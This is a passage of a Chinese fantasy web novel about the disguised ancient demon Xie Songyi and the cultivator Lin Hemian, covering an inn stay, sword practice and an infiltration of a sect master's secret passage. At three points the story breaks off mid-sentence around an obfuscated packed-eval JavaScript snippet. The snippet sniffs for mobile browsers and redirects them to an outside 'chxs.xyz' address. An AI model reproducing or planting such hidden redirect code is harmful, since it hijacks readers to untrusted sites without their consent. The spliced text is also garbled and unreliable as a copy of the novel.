狼妖倚着树啃兔肉,林鹤眠坐在篝火旁啃,至于谢松意…… 他嫌弃,所以不啃,只是站在一旁倚着银杏树闭目养神。 林鹤眠的声音冷不丁传来:“你刚才说,长生是你们妖界的祖宗?” “对啊。”狼妖点点头,顿了顿,他补了一句,“皇帝那种称呼是你们人类用的,我们妖界都喊祖宗,您感兴趣?” “只想听你说一下,你们妖界的统治者是什么样的。” 林鹤眠空出一只手拨弄篝火,随便找了个借口敷衍过去。 一说谢松意,狼妖能说三天三夜都不重样的。 “我们这祖宗能说的多着呢,我跟你说,祖宗他可……” “挑剔”二字还没说出口,一道冰冷的目光就落在背后,仿佛一把利剑随时都能刺穿他。 狼妖打了个寒颤,背后冒出一层冷汗,汗毛都竖起来了,赶忙搜罗一些褒义词叽里呱啦的给谢松意一顿夸。 “祖宗他可好了,吃穿用度特别随意(挑剔),特别平易近妖好说话(爱拉着脸,总是一副生妖勿近的样子),而且还特别好伺候(这句话纯属放屁)。” 谢松意:“……” 这都夸的什么跟什么啊,他想死。 林鹤眠也被狼妖干沉默了。 他硬是从这堆褒义词里听出一种咬牙切齿的感觉,他隐隐有种预感,这绝对不是狼妖想说的话。 “你……额……那个……”林鹤眠顿了一下,正斟酌用词。他上下打量狼妖一番,又扫了一眼谢松意,发现谢松意依旧在闭目养神,便吐出后半句:“你是不是被谁威胁了?” 谢松意听到这句话,睁开双眼,瞥一眼狼妖,又闭上去了。 狼妖浑身发抖,他若无其事的干笑两声,提高了声音说:“哪里的话,谁能威胁我啊,我厉害着呢,祖宗本人在我都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014050|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带怕的。” 谢松意听不下去了,收了银杏果准备离开,林鹤眠叫住他,问道:“你去哪?” “去死。” 林鹤眠:“啊?” “你惹他了?”林鹤眠问狼妖。 真是好大一口锅,还圆圆的。 狼妖才不背这锅,当即反驳道:“问他去哪的是你。” “有道理。”林鹤眠似懂非懂的点点头,“所以他是不是不喜欢被人问去向?” 狼妖啃下最后一口肉,嚼了几口咽下去才开口:“应该。” 谢松意:“……” 应该个屁! 在林子里过了两夜,总算是到了泛月的客栈。 因为提前通知过,帮忙看店的小兔妖见他们来了,在前台指着西侧的院子道:“阿月在竹林呢。” 谢松意闻言,带着林鹤眠去了竹林。 竹林里,偶尔吹来的风把青碧色的竹叶吹的簌簌落,泛月将店中事务尽数交给小兔妖,自己来这里躲清闲,顺便帮林鹤眠制药解毒。 她刚沏好一壶春茶,耳畔便传来一阵由远及近的脚步声,循声望去,发现来者正是谢松意与林鹤眠。 “药可做好了?”谢松意问 “急什么,等我喝完茶。”泛月将两个月白色的瓷杯分别推到二人面前,道:“我这可是用刚解冻便取来的洄溪水煮的茶,你们不尝尝?” 林鹤眠没碰杯子,他瞥一眼谢松意,见对方拿起杯子喝了一口没有皱眉后才开始喝。 泛月当场就生气了:“怕我下毒是吧?” 林鹤眠忙摇头:“不,我只是在用他测试好不好喝,毕竟他挺挑剔的,测出来的效果会很好。” 泛月:“……” “咳咳……” 谢松意一口茶被林鹤眠呛住了,他拿出帕子擦干净嘴,一言难尽的问:“你是被洄溪吓大的么?这有什么需要试的,我是银针?” 林鹤眠干笑两声,解释道:“师父以前经常用洄溪的水煮茶,煮的特别苦。” 那茶难喝就算了,关键是他还不得不喝,不喝完师父觉得浪费,自己受苦还要拉着他们几个师兄弟一起,纯属没苦硬吃还要拉人陪葬。 所以谢松意说他是被洄溪水吓大的倒也不假,毕竟不是谁都像他这么倒霉,师父煮茶次次在场次次喝。 “还真是被吓大的。”泛月笑起来,“放心吧,我不是你师父,煮的茶不难喝。” 林鹤眠呷了一口,发现味道确实不错,便点点头。 “我看没彻底解毒之前你们也走不成了,我这客栈后山种了不少西府海棠,这时节刚好赶上海棠花期,你们有空可以去看看。” “山中可有空地?”谢松意问。 “多着呢,有好些地方隔了很远才种一棵海棠树。你问这个做什么?” “让他练剑,一路上吵好几天了。反正现在不能沾染太多瘴气,我记得后山不受瘴气影响,还挺合适的。” 泛月若有所思的点头道:“也是。那我就不让其他顾客去后山了,以免打扰你们。” 林鹤眠挑眉:“这样不太好吧……” 泛月耸耸肩,一副无所谓的样子:“我和老板不一样,开店只是玩玩,不在乎客多客少,他们大可以退钱走人。” 林鹤眠心说这真是一只随意任性的妖,和谢松意一样。 11. 第十一章 后山的西府海棠连片长,一眼望去,漫山遍野的粉。 谢松意坐在一棵海棠树下看林鹤眠练剑,林鹤眠在他对面的海棠树下,他舞剑带风,海棠花瓣落了满地。 在林少侠不知第几次让他的簪子自由飞翔后,谢松意终于受够了,心说我来后山就是为了看你小子和我的簪子玩有来有回的游戏是吧? “手握不住就用灵力。”谢松意实在看不下去了,干脆开口提醒。 他身边放着一个红木托盘,盘里是一套青瓷茶具,一片海棠花瓣落在茶盏里,透明平静的水面轻微泛起波纹。 向来挑剔的谢公子出奇的没把花瓣捡出来,也没换杯子,而是直接将茶水一饮而尽。他再次将茶盏放下去的时候,那片粉色的花瓣紧紧贴在杯底。 林鹤眠经谢松意提点,将灵力注入剑柄,然后再次挥剑,奈何这种方法太耗费灵力,他只做了一半,剑又飞了。 谢松意心说这小子估计还得练几个时辰,剩下的得让他自己悟。 阳光透过密密匝匝的海棠花落到身上,暖意涌上来,连心情都好了很多。 谢松意心情好的时候不会计较太多,除非是那种很明显让他嫌弃的。 海棠花瓣在地上堆起厚厚一层,坐在上面并不会脏了衣服,也有些地方没被遮住,露出下面褐色的泥土来。 但谢松意不管自己的占地面积有多大,有没有地方没被花瓣遮住,向后一躺,曲着胳膊把手背抵在额头上就闭了眼。 他睡的很快,连自己都不知道他是什么时候彻底睡去的,这是谢松意离开通天墟后睡得最舒服的一觉。 林鹤眠会耍基本剑法时已经日薄西山,远天和橘红色的光线被地平线分割,一半没入阴影一半仍有辉光。 橙红色的落日也成了半圆,像是被锋利的地平线削去了下半身。 林鹤眠本想喊谢松意来看,还没喊出来,就发现谢松意睡了。 他悄悄靠近谢松意。 此时的谢松意脸上落了一片海棠花,刚好盖住他的左眼,青色衣衫也落满了不少花瓣,夕阳余晖为他的脸镀上一层柔光,本就不锋利的五官更显柔和。 他的手背抵在额头上,苍白修长的手指随意蜷着,掌心也有一朵落花。 谢松意就躺在那里,仿佛要和满地的花瓣融为一体。 他随意安然的模样,不像是林鹤眠印象中那个挑剔矜贵的谢公子,倒像一位温和随意的青衣仙人,生于天地,与天地共存。 林鹤眠呼吸一滞。 这场景,百年难得一见,他得趁机多多欣赏才是。但那朵海棠花有些碍眼,他想看谢松意的全貌,便伸出手,轻轻用两根手指捏着花瓣一角将花拿了下来。 海棠花被拿下,他刚要凑的再近些,不料谢松意突然睁开双眼,他的大脑因这突如其来的变故一片空白,不由得怔在原地,连捏着花瓣的手也悬在半空。 少年清澈的眸子对上谢松意那双狭长的凤眼,漆黑的瞳仁里只有彼此的倒影。 柔风吹过,海棠花瓣又纷纷洒洒落下不少。林鹤眠手中的海棠花被风一吹,柔软的花瓣便触碰到他的手指。 许是十指连心的原因,他原本因花瓣触碰产生的那种轻微的痒感,竟从指尖传入心底,连带着内心也开始痒起来。 那一瞬,林鹤眠竟生莫名出一种做坏事被抓的心虚感。 谢松意见他一动不动,眉眼一弯,嘴角便勾起一抹笑来,带着几分慵懒调戏道:“我说林师弟,你整天盯着我发呆就算了,现在又趁我睡觉凑的这么近,可别是想对我做什么不轨之事吧?” 林鹤眠“唰”地红了脸,他忙别过头去,嗫嚅道:“我才没有。” 说完林鹤眠才意识到自己傻逼了,他又没做什么亏心事他心虚脸红个什么,又不是欲行不轨被当事人撞破了! 啊不对,他本来就没那种想法好吧! 这么一想,林鹤眠刚才还泛红的脸颊倒也没那么红了。 林鹤眠将目光投向谢松意,把那朵花在他面前晃了晃,解释说:“我只是想帮你把这朵花拿下来,没别的意思。” “那你刚才脸红什么?”谢松意坐起身,接过林鹤眠手中的花注入灵力,一朵花瞬间长成开着好几朵花的花枝。 林鹤眠心说我哪知道我脸红什么,但他不能这么和谢松意说。正犹豫如何开口,只见谢松意拿起一旁的茶壶倒茶,倒完就拿起茶盏递到嘴边。 “凉的。”林鹤眠说。 谢松意挑眉,他将尚未沾到唇的茶盏递给林鹤眠,笑道:“热的,凉不了。” 林鹤眠瞥一眼茶盏,又看向谢松意,半信半疑地接过来,将茶一饮而尽。 果然是热的。 不对啊,他练剑练了两个时辰,这什么茶,两个时辰都不会放凉。 谢松意知道他在想什么,解释说:“有人帮忙热着呢,不会凉。” “和鸿福客栈的茶味道一样。”林鹤眠道。 “我只喝这种茶,其他的一概不喝。剑练的怎么样了?” “正要让你看呢,结果你在睡觉。” 谢松意竟然从这话里听出一丝……不满? 谢松意微微蹙眉,但他很快又笑起来,将海棠花枝放在托盘里,试探性的开口:“我的错。现在我醒了,你给我看看?” 林鹤眠执剑起身,回到方才练剑的海棠树下舞剑。 谢松意重新倒了一杯茶,刚递到嘴边,海棠树上就传来一个奶里奶气的声音。 “祖宗祖宗,阿月特意让我重新沏的热茶好不好喝?” 谢松意呷了一口茶,他放下茶盏,伸出双手,一只白兔团子从树上落到他怀里。 他抚摸着柔软的兔毛,笑道:“和老板那里的味道一样,哪来的好不好喝。” 兔妖闻言,伸出爪子拿了一盏茶,谢松意没来得及阻止她,她便一口茶喷出去了,舌头上的痛感提醒他这茶不能喝。 兔妖诧异的看着他:“你这是除妖气的茶啊,祖宗你疯了?” 妖气是妖与生俱来的气息,古兽和普通小妖都会有。如今唯一想让妖气消失的办法就是喝老板的茶,但让妖气消失无异于在人清醒时活刮下一块肉,所以一般的妖都选择用妖力隐藏妖气。 更弱小的妖例如兔妖,甚至不用隐藏妖力,因为没人会觉得他们有威胁。 但谢松意不一样,他的妖气太重了,藏不了,现在只能用同等强大的灵力和妖气抵消来达到隐瞒身份的效果,期间通过喝茶试着除掉妖气。 老板以前说他就是个受虐狂,闲的没事虐自己,不然谁会要茶喝,他对此也只是笑笑,对痛感彻底麻木的时候,他能把茶当水喝一天。 谢松意将食指递到兔妖面前,兔妖明白他的意思,却一脸为难。 谢松意笑道:“别的妖想喝还没机会呢,你有机会还不珍惜。” “我怕你疼嘛。” “我早习惯了,你这么点妖力什么都不问就敢喝老板的茶,胆子不小。” “切,关心你你还说上我了!”兔妖撇撇嘴,对此表示不屑。 谢松意脸上笑意更甚:“咱俩谁是祖宗?” “你是。” 谢松意又将食指贴近兔妖的嘴,兔妖这次没再拒绝,咬破他的指尖吮血,心说不愧是古兽长生,连血都是宝贝。 妖服用长生的血可以增长修为,帮助伤口快速愈合。人服用,则可以延年益寿,血到病除。 但无论是人还是妖,想得到真正的长生,唯一的办法就是和长生的心脏融为一体。 …… 听闻当年祖宗的母亲行医救人无数,遇到实在是救不了又于心不忍的,干脆以血为引把药熬好送到病人家里。 可惜三百年前一场变故,夫妻俩成了亡命鸳鸯,古兽一脉自此只剩谢松意一人。 兔妖正吮血吮得出神,谢松意却看着前方舞剑的林鹤眠突然叹气道:“再除不掉妖气,我才会真的疯了。”…… 外面已是日薄西山,泛月让小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014051|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兔妖去后山给谢松意沏新茶后便自己在前台看店。 小兔妖这一去就是一个时辰,居然还不回来,再晚些月亮都升上来了。 泛月百无聊赖的拨弄着算盘,在心里考虑要不要给这小家伙定个玩忽职守的罪名扣薪水。 想来想去心说算了,孩子还小,爱玩是天性,让她出去玩玩也没什么。 正想着,大门突然被吹开,有几位客人循声望去,发现只是风在作祟,以为自己多想了,就继续埋头吃饭去了。 泛月细眉微皱,她放下算盘朝大门走去,左右两边都看了一眼,确认没事后便把门关上了。 虽然没事,但她心里总不踏实,上楼回了自己的房间,朝窗外的池塘里随手扔下一根白色凤翎。 凤翎在水面上打了几个旋,然后悠悠的沉入塘底。池塘跳出一尾红色鲤鱼,鲤鱼在空中翻了个身,又钻到池塘里了。 落日收回它最后一束光线,夜幕降临,店里本来就没几个人,客人纷纷回房休息后就更显清冷,一楼只剩一个快把算盘珠子拨秃噜皮的泛月。 算珠碰撞的声音有规律的在屋内回响,不知响了第几次后,谢松意他们终于回来了,小兔妖也化了人形跟过来。 泛月去后厨拿吃的,一回来就发现三人齐刷刷的坐在一个刚擦干净的桌子上等饭。 “你们还挺自觉。”泛月把食物端上来,又摆好碗筷,颇为不满的抱怨了一句。 小兔妖不顾形象的往桌上一趴,香喷喷的饭都救不了精神萎靡的她,说话都半死不活的:“别提了,累死了。” 泛月挑眉:“你们干什么了?” “我单独回来的路上遇到一只半成精的傻雕,逮着我就是哐哐一顿咬,非得给我叼走吃了才甘心。得亏我身手敏捷,每次都只是被它咬去一撮毛。” “但是我跑着跑着跑迷路了,边躲边给谢公子和林少侠传音,等他们把我救下我们才回来。” “这瘴山哪来的雕,你不会看错了吧?” 小兔妖化成兔子站在桌上,低下脑袋用前爪指了指自己那个毛都不全左秃一块、右秃一块的脑袋瓜,愤恨的说:“你看它干的好事,我能看错吗!” 泛月没忍住,笑出声来,温暖的大手盖在小兔妖头顶轻轻揉了几下以示安慰,另一只手则不知从哪里拿出一个青色瓷瓶扔给谢松意。 “一天一颗,三天就恢复了。狼妖不是跟着你们一起过来的么,怎么不见他人影?” 谢松意咽下口中的食物,回道:“我让他去办事了,顺便放生。” “放生谁?” “一条未被千足练成毒兽的小蛇,我让狼妖办完事就把它放了。” 泛月听到“毒兽”二字,登时皱起眉头,谢松意放下筷子,做了一个请的动作,低声道:“借一步说话。” 泛月叹气,只得随他。 二人刚来到池塘边上,泛月便迫不及待的开口:“你把话说清楚,什么叫没被练成毒兽?” 谢松意目光扫过闪着粼粼月光的池塘,他默然片刻,终于肯开口了。 “千足和烟帐山的人勾结,他把一些未开智的动物练成毒兽,还指使其手下害人,甚至把阿玉和烟帐山的镇宗毒兽融为一体,林鹤眠中毒也是因为他。那条蛇若是被炼化,只会和阿玉一个下场。” 泛月愣在原地,她惊愕盯着谢松意,将他的话逐字逐句消化,片刻后,她才找回自己的声音:“所以,阿玉死了?而你,是因为遇到他的手下害人,才决定来杀他的?” 泛月希望谢松意矢口否认,她更希望谢松意刚才的话从未说出口,甚至他口中那些事根本就不存在。 可是没有。 谢松意微微点头,脸上有一丝淡然与悲伤。泛月明白,这种淡然是习惯驱使。 谢松意习惯了生离死别和亲手终结同类的生命,他不会为之触动。但他却依旧会为那些被害的人和阿玉感到悲伤,这是他的性格导致的。 甚至这一丝悲伤也是为了千足。 12. 第十二章 泛月被这突如其来的变故惊的不知如何开口,最终,她只是自嘲般笑了笑,强迫自己接受这个现实:“是我天真了。我还以为你又因为和千足意见不合打起来才让那位小修士中毒的,没想到他是因为和你一起去杀千足才中毒的。” 谢松意的叹息落在风里,倒春寒这几天的风比往常更冷,谢松意穿的单薄,却对这凉风送来的寒意浑然不觉:“千足是自杀的。” “他性子高傲,做事也疯,哪能愿意被你们杀了。”泛月稍微缓过来一些,这次回话倒没隔太长时间,“不过你们是怎么发现千足指使他手下杀人的?” “我在老板的客栈休息时抓到两个用了特殊隐身术的小偷,圆石去报官,官府把人带走了,结果圆石当晚就被一个女妖掏了心。” 泛月并不是一个很好的倾听者,听到女妖把圆石掏了心,她几乎要笑出来:“得亏掏的是心,但凡是九尾精魂,估计老板把剩下八条尾巴都割了也要把圆石救回来,那女妖也可能掏完心就成灰了。” “她确实成灰了。”谢松意也闷声笑起来,“我用的拨云十一式,剑拔出来就灰飞烟灭。起初她是不愿意开口的,后来我用隐藏封印里的妖兽威胁她,她很坦然的交代了。” 毕竟其他妖怕他是因为他的身份,同时还带有一丝敬畏。他们怕的是身为祖宗的谢松意,而非谢松意。 只要有祖宗这个身份,不管你叫什么,其他妖的态度都会好上那么点,但那些隐藏封印里的妖兽不同。 它们是只要其他妖听到名字都会闻风丧胆的存在,别说吃人,吃妖都不吐骨头的。 用它们威胁同类,效果立竿见影。在绝对的恐惧面前,连死亡都显得不是那么难以接受了,所以女妖很坦然的选择坦白一切后赴死。 “你用了拨云十一式,那小修士该不会是因为这个跟着你的吧?” “他的确是因为这个跟着我的,但主要原因还是我们的目标相同。” “他要干嘛?”泛月问。 谢松意很坦然的回答:“斩长生。” 泛月:“???” 泛月一言难尽的看向特别坦然的谢松意,此时此刻她内心只有一个想法:谢松意一定是脑子有病! 她对着谢松意上下打量一番,惊疑不定的说出了那句心里话:“我不会治脑子,要不我带你去找老板?” 谢松意笑着轻咳一声,回道:“他不知内情,斩的是古战场那位,不是我。” “我真是服了你,哪天要是被他知道你是谁,当心你的脑袋!”泛月转身走了,没走几步又停下来补了一句,“明天我给阿玉在后山立块碑,你和那小修士什么时候走?” “等我让狼妖办的事解决了。” 谢松意接住飞来的纸鹤,将它展开,上面写着“狼妖回来了”,那字体笔锋凌厉,一看就是林鹤眠写的。 “行,有事找小白,就那只小兔妖,我这些天要出门一趟。” “知道了。” 谢松意朝客房走,泛月则是直接化成一只白凤飞出去了。 林鹤眠见谢松意回来,忙拿了狼妖捡来的羽毛给他看。 那是一根尾羽。 尾羽颜色则由淡褐色逐渐过渡到黑褐色,上面还能看到暗灰褐色横斑和一道宽阔的黑褐色端斑,再看仔细些,还能看到上面隐约散发出的黑色毒气。 “只找到这个?”谢松意将羽毛放回去,有些不满。 “我只能找到这个。问了好多妖,我就差把瘴山地皮掀了再找一遍了。” 狼妖趴在桌上,一副快要死了的样子。到泛月客栈前谢松意说瘴山不会有苍鹰,便让他去问问有没有哪只妖见过苍鹰,最好能找到苍鹰存在的线索。 他问了大半天,都说没见过。后来有只妖说见到一只雕追着一只兔子,还给他指了方向,他顺着对方指的方向追过去,也就找到一根羽毛。 这几天爬山下海,他一只狼,都快活成两栖动物了。要是能飞,他估计还得上天去找。 “这个就够了,我见过这种羽毛。”林鹤眠插了一句。 谢松意看向他,问道:“哪里?” “烟帐山。”林鹤眠顿了顿,又接着说,“这是金雕羽毛,我记得烟帐山副掌门养了一只金雕。其实准确来说是毒雕,被它咬一口一个时辰内不服药就会全身溃烂而亡。” 这话要是被小白听到了她能当场撅过去,不过这孩子没被咬到,撅过去估计过一会就醒了。 “这雕毒性这么强?”谢松意挑眉。 “只是对那些普通动物强而已,不管它们是死是活,只要被咬上一口,毒素就会在体内残留,人吃了可能会拉肚子……” 话还没说完,林鹤眠突然想到什么似的停了,狼妖也反应过来,猛地抬头看向他。 如果这只雕真的是那烟帐山副掌门养的毒雕的话,林鹤眠和狼妖不约而同的想到了前几天扒了兔子皮后的那只苍鹰…… 二人默默四目相对,狼妖幽幽的开口:“林少侠,我觉得我那天看到的,应该不是苍鹰,而是……” 毒雕。 那只兔子有毒啊! 就这那天晚上他和林鹤眠还把一整只都吃了! 狼妖一个弹射起步就往楼下的茅房冲,眼看要靠近房门了,却被谢松意一把剑横在门闩上。 “那只兔子早被你消化完了,再去吐吐出来的那是刚才的饭,你被毒傻了?回来!” 毒:谢谢,不背智商锅。 狼妖有气无力的折返回来,软绵绵的趴在桌上。 他觉得自己的妖生好像能一眼望到头了。 “那只金雕应该是来找千足的。我记得四年前各宗门比武,烟帐山就没带镇宗毒兽过去,往年比武他们都带的。” 谢松意思索片刻,道:“这么说的话,可能四年前千足就和烟帐山勾结了。” 但千足是大约一周前才从封印里跑出来的。 封印里无法用传音蝶与外界沟通,千足又喜欢用特制的信纸与人交流,那些信纸无法被损毁,说不定现在还在烟帐山藏着。 林鹤眠总觉得心里不踏实,他思来想去,干脆直接开口:“我得去一趟烟帐山看我师父。” 谢松意也正有此意,便问道:“我也得去一趟,你可有办法带我进去?” “就说咱们是去给我师父送东西的好了,这样都能进去。” 严格来说各大宗门商量大事期间是不允许弟子过来的,烟帐山弟子都因此被赶到山脚去了。 但他们只说不允许过来,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014052|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不允许送东西进去,林鹤眠借着送东西带谢松意过去,再让见清下个必须亲自送过来的命令,这问题不就解决了嘛。 烟帐山,顾名思义,因山中毒气如纱帐般笼罩而得名,夜间时分毒气似青烟缭绕,白天像是下了一层薄雾。 来烟帐山学毒术,身体素质不够硬连宗门测试第一关都过不了,甚至死在山上也有可能,所以烟帐山的弟子并不算多,自然实力也不是很强,不过这已经是四年前的事了。 四年前的宗门比武,烟帐山弟子基本包揽了前三名,常年第一的林鹤眠的师姐不得已屈居第四。 烟帐山的实力和名声虽然打出来了,但毕竟是练毒的,一不小心就能害死一群人,所以现在面上实力和名声最大的还是须臾山。 如果不是四年后这一难,林鹤眠至今都会以为烟帐山内的弟子实力大涨,当年夺魁是多年积累的结果,现在看来并不是。 林鹤眠拉着谢松意以给见清送东西的名义进山,守卫山门的弟子不同意,最后还是见清一道掌门令下来,才把人放进去的。 此时山中并没有多少弟子,二人的谈话内容都放肆了不少。 “你来干什么?”林鹤眠问谢松意。 谢松意四下扫了一圈,最终将目光定格在远处那间被结界围起来的屋子,回道:“找东西。” “你该不会是想去烟帐山掌门的屋子里找吧?”林鹤眠顺着谢松意的目光看去,有些惊讶,“他屋子里机关可多了,还是带毒的。” “机关而已,伤不到我。不过你居然知道这个,不会是去过那掌门的屋子吧?” “我认识一个朋友,她去过。她是烟帐山弟子,我们是在七年的宗门比武认识的。” “宗门比武十六岁以下都不能参加,你七年前才十二岁,莫不是偷偷跟过去的?” “师父不带我,我当然得偷偷跟过去了。再说了,她也是偷偷跟过去的,否则我还不会认识她呢。” 林鹤眠说完总觉得不对劲,他顿了顿,把所有话都在脑子里过了一遍才反应过来:“不对啊,你怎么会知道宗门比武的规矩?” 谢松意指了指身后须臾山的方向,笑道:“你们行错老祖知道的我都知道,有什么可惊讶的。” 说话间二人已经走到了大殿台阶下,林鹤眠环顾四周,捏了一个传音蝶飞进去,不一会见清就出来了。 见清出来,看林鹤眠时还是笑着的,待看到他身边的谢松意,两眼一黑差点没撅过去。 他百思不得其解这祖宗怎么老跟着他徒弟,他这徒弟是有什么吸引妖的地方么? 林鹤眠有模有样的拿出一个空锦囊递给见清,见清接过去,翻来覆去的锦囊检查了好久了,甚至打开看了一会。 大殿旁守门的弟子没发现异样,便将目光转向一旁,静静地盯着远处某一个点发呆。 因为这段时间根本不会有多少人过来,他们站在这里也就是一个当石狮子的作用。 其实还不如当石狮子呢,那玩意不吃不喝守门能守他个十几二十几年,还不会累。 但他们不行啊,搁这里站着纯属受罪,站的腰酸腿疼,浑身难受。 这么一想,那几个弟子便泻了气,注意力也更不集中,连谢松意消失了都没发现。 13. 第十三章 谢松意直接越过结界进了烟帐山掌门的屋子。 他对结界和机关十分了解,但是对封印和毒术什么的所知甚少,最熟悉的封印也就是通天墟的隐藏封印了,毕竟长生一族的使命就是守护封印。 不过他也仅仅是知道破了怎么修补,如何打造一个新的封印他根本不明白。好在那封印自从一千五百年前破过一次后到现在都没有再破的征兆,估计还能撑他个几千年。 这烟帐山掌门姓齐,名简,外界都说他做事低调,生活简朴,十分符合他的名字。 简不简朴谢松意不确定,毕竟是外界传言,不过屋内的摆设十分简单。 进门一张方桌配四个矮凳,再往前就是一张床,床脚摆了两张太师椅和一张八仙桌,桌上放着一个青瓷瓶,瓶中还有一枝新柳。 桌子对面是一个三层书架,上面摆满了有关毒术的书,左边第三格还放了一只蟾蜍雕像,右边最下面那一格放了一个白色瓷瓶,瓶中也插了一枝新柳。 最中间的格子放着一个低矮的花瓶,瓶中有一棵做盆景的假松。 谢松意施法找千足的信无果后,眯着眼盯了那只蟾蜍雕像半晌,不知从哪捡来一颗石子,将石子投入蟾蜍口中。 “哐当”一声闷响,最下面的白色瓷瓶里也落进一块石子,装有假松的花盆正前方突然伸出一根细长的空竹竿。 竹竿并未吐出什么毒气迷药之类的东西,而是被谢松意第三颗石子堵住了空洞,想吐也吐不出来。 书架对面的墙突然移动,露出里面长长的密道来。 谢松意转身进了密道,墙面重新合上之前依次施法收了三颗石子,机关全部回归到一种静止的状态,此后再无动静。 幽暗狭长的密道里只有谢松意的脚步声,昏黄的烛火摇曳不定,每每快要灭了,火苗又会死而复生般跳起来,变成橙红色,继而又变得昏黄,继续在将灭与重燃之间反复横跳。 青色的墙缝中长有绿苔,甚至有些地方爬满了藤蔓,这种墙体的材料只有在古兽境才有,火也是。 没想到还能再见到这种火,谢松意心想,他对墙倒并不在意。 以前在古兽境,每家每户用的几乎都是这种火,白凤一族更甚,甚至给这种火取了个名字叫“轮回”。 入灭即是死亡,重燃便是再生。死而再生,是为轮回。 其实这个名字被用的次数也不多,大多数时间还是直接被叫做“火”。 父亲母亲在他出生前就去了人间。 给人看病赚的钱并不多,父亲母亲也不介意赚多赚少,把人治好了,比赚到金子都开心。 因为赚的少,所以日常开销基本都是用他们在妖族的资产,街坊邻居见他们一家花的比赚的多,难免心生疑惑。 直到某年物价飞涨,蜡烛都要买不起了,邻居大婶却看到母亲伴着烛光帮隔壁院子卖饼的大娘缝冬衣,第二天早上起来屋内烛火依旧亮着,不觉心生疑惑。 第二天药铺特意关门,等父亲把那些银锭带回来再开张,不料被邻居大婶看见,此后街坊里就流传着他们一家家底厚实的说法。 不过这说法也没错。 他们家的确不缺钱,以至于后来邻居们调戏说不知是父亲母亲哪家的大家公子小姐,放着好好的家产不要来这穷乡僻壤开药铺,也赚不了几个钱时,父亲母亲只是笑而不答。 父亲偶尔会说,家财万贯不如救人一命,但求世上无人病,何妨架上药生尘。 父亲的理念向来如此,万事万物唯命当重,既然要行医治病,自当救人为本不论地位贫富。 对妖来说,杀戮如影随形,无处不在,甚至一时起意就会害死诸多无辜,杀孽越重,妖气越重。 他是妖,有妖气是无法避免的,所以父亲母亲决定带他在人间生活。 他们希望自己能在凡尘烟火中摆脱杀戮的桎梏,不再受困于几乎所有妖都无法摆脱的阴影。 想摆脱其实也有法子,但付出的代价不是谁都能承受的。 所以他想,或许没了妖气,或许妖气成了灵力,自己就会真的不辜负父亲母亲的期许——即使他们再也看不到了。 密道很长,谢松意从往事中回过神来时,也才走了一半的路。但他不知道,在外面的林鹤眠,早就偷偷跟着齐简进来了。 见清他们的会开完,林鹤眠怕他出事,和师父告别后,用了个不知从哪学的法术跟着齐简进了卧房,一路都没被发现。 齐简进了卧房发现房间里有异常,当即把所有机关都检查了一遍,确认机关没有问题后,他还是不放心,用力踩了一下蟾蜍正下方第五块地砖,墙面瞬间开始移动,林鹤眠偷偷跟着他进了密道。 这密道里的墙倒是从未见过,出于好奇,林鹤眠偷偷在墙上摸了一下,结果一手灰,他随便甩甩手,就当灰不存在了,心里却在吐槽这墙真脏。 密道里的谢松意前脚刚看到密室入口,后脚就发觉有人过来了。 出于警惕,他抬手要打,但被身后那人躲了过去,待看清了对方的面容,他有些惊讶,却并未开口。 结果林鹤眠以为他要喊出声,把人抵到一边的墙上捂住了他的嘴,还对他比了个噤声的手势。 做完手势,林鹤眠又用空出的另一只手扯着他的袖子,灵气聚成的光点散在四周,谢松意便跟着林鹤眠一起匿了身形。 林鹤眠煞有介事盯着密道远处,黑暗中缓缓走出一个人来,那人一袭黑衣,肩上趴着一只通体发红的蝎子,蝎尾一左一右来回晃动,像是在驱赶蚊虫。 手背突然被一个冰凉的大手盖上,林鹤眠看向手背,发现谢松意正将他那只捂着对方嘴的手拿开,脸上还带着几分嫌弃。 林鹤眠:“???” 又怎么了这是? 这下轮到林鹤眠百思不得其解了,而后他突然想起,刚才来的时候他出于好奇摸了一把墙灰,所以……不出意外的话,谢公子应该是蹭到灰了,甚至可能吸到了。 而且,这墙很脏,他还把谢松意抵在墙上…… 林鹤眠突然觉得自己没被一巴掌打飞已经够幸运了,他触电般弹开身体,很乖巧的站在一旁,假装刚才什么事都没有发生,尤其是捂谢松意一嘴灰的事。 好在谢松意也就是皱了下眉头,没和他计较,但耷拉下来的脸表明他现在心情很不好。 齐简进了密室,二人紧随其后,眼瞅着齐简从密室最里面那个书架上拿出一叠信封。 他似乎在找什么东西,信封只是看了署名便放在一旁,不知看到第几封信,他突然停下来,翻来覆去的看了好几遍,确认信没丢也没被调包后,才长舒一口气把信装了回去。 待齐简走了,二人走到他原来的位置,林鹤眠试着去拿那一叠信封。 